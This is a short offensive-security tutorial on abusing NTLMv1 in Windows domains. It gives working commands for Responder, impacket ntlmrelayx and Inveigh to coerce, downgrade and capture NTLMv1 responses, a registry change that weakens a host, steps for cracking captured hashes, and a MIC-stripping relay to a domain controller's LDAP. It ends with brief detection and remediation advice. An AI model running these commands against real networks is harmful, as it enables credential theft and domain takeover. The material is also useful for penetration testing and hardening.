30.04.2024 ยท dadevel

NTLMv1 is the first version of the NTLM authentication protocol, the predecessor of NTLMv2 and insecure in multiple ways.


Search for GPOs that enable NTLMv1 by setting HKLM\System\CurrentControlSet\control\LSA\LMCompatibilityLevel to 2 or lower.

If you already have admin rights on a computer you can check this registry value trough Remote Registry (source).

crackmapexec smb -u jdoe -p 'passw0rd' -M ntlmv1
impacket-reg -k -no-pass dc01.corp.local query -keyName 'HKLM\SYSTEM\CurrentControlSet\Control\Lsa' -v LMCompatibilityLevel

Untested tools:

Capture & Crack

Coerce NTLM authentication from your target and capture the responses.

Configure a static challenge.

sudo sed -i 's/^Challenge = .*/Challenge = 1122334455667788/' /usr/share/responder/Responder.conf

Then try different downgrade techniques (source, source).

sudo responder -A --disable-ess -I eth0
sudo responder -A --lm -I eth0
sudo responder -A --lm --disable-ess -I eth0
sudo impacket-ntlmrelayx -smb2support -ntlmchallenge 1122334455667788 -of ./hashes.txt
sudo impacket-ntlmrelayx -ntlmchallenge 1122334455667788 -of ./hashes.txt

Alternatively on Windows with Inveigh (untested).

reg.exe add HKLM\System\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
Invoke-Inveigh -ConsoleOutput Y -Challenge 1122334455667788

Then continue with Hash Cracking to turn the NTLMv1 response into an NT hash. NTLMv1 is based on DES and cryptographically broken, because the DES key space can be fully enumerated with FPGAs. crack.sh provides a service for cracking DES.

a) NTLMv1 without SSP

crack.sh cracks this responses for free trough a huge rainbow table.

Responder output: [SMB] NTLMv1 Hash : hashcat::DUSTIN:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
Input for crack.sh: NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595

b) NTLMv1 with SSP/ESS

Such responses can be easily identified, because they contain a large amount of consecutive zeros. Pass the output from Responder to ntlmv1-multi to get the input for crack.sh. Cracking requires full brute force and is not free.

python3 ./ntlmv1.py --ntlmv1 'hashcat::DUSTIN:85D5BC2CE95161CD00000000000000000000000000000000:892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0:1122334455667788'

If crack.sh is currently down you can crack both NTLMv1 response variants with a beefy GPU and Hashcat. See ntlmv1-multi for more details. Responses captured from users can be looked up in a huge database with shuck.sh.

In any case the resulting NT hash can be used to forge a RC4 Silver Ticket, Delegate2Thyself or perform a DCSync in case of a domain controller.



Computers that still support NTLMv1 are a wonderful NTLM Relay Sink, because NTLMv1 allows cross-protocol relaying from SMB to LDAP by dropping the MIC. Additionally relay protections like SMB Signing and LDAP Signing don't apply to NTLMv1 and relaying from SMB to TLS endpoints like HTTPS and LDAPS is possible as long as EPA is not set to required because NTLMv1 does not support Channel Binding.

Coerce NTLM authentication over SMB from a valuable computer and relay to LDAP on a domain controller.

impacket-ntlmrelayx -debug --no-http-server --no-raw-server --no-wcf-server -smb2support --no-dump --no-da --no-acl --no-validate-privs --remove-mic -i -t ldap://dc01.corp.local



  1. Analyze event 4624 on DCs to find applications that fall back to NTLMv1.
  2. Disable NTLMv1 by setting the registry value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\LMCompatibilityLevel to 3 or higher.